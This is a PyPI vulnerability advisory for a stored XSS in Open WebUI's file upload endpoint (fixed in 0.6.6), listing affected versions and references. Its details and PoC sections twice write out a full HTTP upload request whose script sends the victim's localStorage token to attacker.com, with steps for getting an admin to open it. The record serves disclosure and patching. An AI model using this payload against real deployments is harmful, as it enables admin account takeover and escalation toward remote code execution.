id: PYSEC-2026-2713
published: "2026-07-13T15:46:29.140160Z"
modified: "2026-07-13T16:05:11.679315Z"
aliases:
- CVE-2025-46571
- GHSA-8gh5-qqh8-hq3x
summary: Open WebUI  allows limited stored XSS vila uploaded html file
details: "### Summary\nLow privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability.\n\n### Details\n\nThe following HTTP request can be sent to the backend server to upload a file with the contents:\n`<script>fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))</script>`\n\n```http\nPOST /api/v1/files/ HTTP/1.1\nHost: localhost:8080\nContent-Length: 286\nauthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm\n\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm\nContent-Disposition: form-data; name=\"file\"; filename=\"test.html\"\nContent-Type: text/html\n\n<h1>padding</h1>\n<script>fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))</script>\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm--\n```\n\nNote the `filename=\"test.html\"` , `Content-Type: text/html`, and `<h1>padding</h`> in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a `<script>` tag. \n\nThe backend server responds to the above request with JSON data that contains an `id` parameter. \n\n![image](https://github.com/user-attachments/assets/ac15e108-d385-4e58-b29a-eb79aafbffda)\n\nThis ID can be used to view the uploaded file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html`\n\nBecause of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability.\n\n### PoC\n\nFirst, upload an html containing JavaScript code to the backend server using the following HTTP request:\n```http\nPOST /api/v1/files/ HTTP/1.1\nHost: localhost:8080\nContent-Length: 286\nauthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm\n\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm\nContent-Disposition: form-data; name=\"file\"; filename=\"test.html\"\nContent-Type: text/html\n\n<h1>padding</h1>\n<script>fetch(\"https://attacker.com/?token=\" + localStorage.getItem(\"token\"))</script>\n------WebKitFormBoundaryr0PnRBBHKXD9UEdm--\n```\n\nThen copy the `id` from the response and use it to view the file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html`\n\n\n### Impact\n\nLow privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766"
affected:
- package:
    name: open-webui
    ecosystem: PyPI
    purl: pkg:pypi/open-webui
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: "0"
    - fixed: 0.6.6
  versions:
  - 0.1.124
  - 0.1.125
  - 0.2.0
  - 0.2.1
  - 0.2.2
  - 0.2.3
  - 0.2.4
  - 0.2.5
  - 0.3.0
  - 0.3.1
  - 0.3.10
  - 0.3.12
  - 0.3.13
  - 0.3.14
  - 0.3.15
  - 0.3.16
  - 0.3.17
  - 0.3.17.dev2
  - 0.3.17.dev3
  - 0.3.17.dev4
  - 0.3.17.dev5
  - 0.3.18
  - 0.3.19
  - 0.3.2
  - 0.3.20
  - 0.3.21
  - 0.3.22
  - 0.3.23
  - 0.3.24
  - 0.3.25
  - 0.3.26
  - 0.3.27
  - 0.3.27.dev1
  - 0.3.27.dev2
  - 0.3.27.dev3
  - 0.3.28
  - 0.3.29
  - 0.3.3
  - 0.3.30
  - 0.3.30.dev1
  - 0.3.30.dev2
  - 0.3.31
  - 0.3.31.dev1
  - 0.3.32
  - 0.3.33
  - 0.3.33.dev1
  - 0.3.34
  - 0.3.35
  - 0.3.4
  - 0.3.5
  - 0.3.6
  - 0.3.7
  - 0.3.8
  - 0.3.9
  - 0.4.0
  - 0.4.0.dev1
  - 0.4.0.dev2
  - 0.4.1
  - 0.4.2
  - 0.4.3
  - 0.4.4
  - 0.4.5
  - 0.4.6
  - 0.4.6.dev1
  - 0.4.7
  - 0.4.8
  - 0.5.0
  - 0.5.0.dev1
  - 0.5.0.dev2
  - 0.5.1
  - 0.5.10
  - 0.5.11
  - 0.5.12
  - 0.5.13
  - 0.5.14
  - 0.5.15
  - 0.5.16
  - 0.5.17
  - 0.5.18
  - 0.5.19
  - 0.5.2
  - 0.5.20
  - 0.5.3
  - 0.5.3.dev1
  - 0.5.4
  - 0.5.5
  - 0.5.6
  - 0.5.7
  - 0.5.8
  - 0.5.9
  - 0.6.0
  - 0.6.1
  - 0.6.2
  - 0.6.3
  - 0.6.4
  - 0.6.5
  - 0.6.6.dev1
references:
- type: WEB
  url: https://github.com/open-webui/open-webui/security/advisories/GHSA-8gh5-qqh8-hq3x
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2025-46571
- type: WEB
  url: https://github.com/open-webui/open-webui/commit/ef2aeb7c0eb976bac759e59ac359c94a5b8dc7e0
- type: PACKAGE
  url: https://github.com/open-webui/open-webui
- type: WEB
  url: "https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438"
- type: WEB
  url: https://github.com/open-webui/open-webui/releases/tag/v0.6.6
- type: PACKAGE
  url: https://pypi.org/project/open-webui
- type: ADVISORY
  url: https://github.com/advisories/GHSA-8gh5-qqh8-hq3x
severity:
- type: CVSS_V4
  score: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N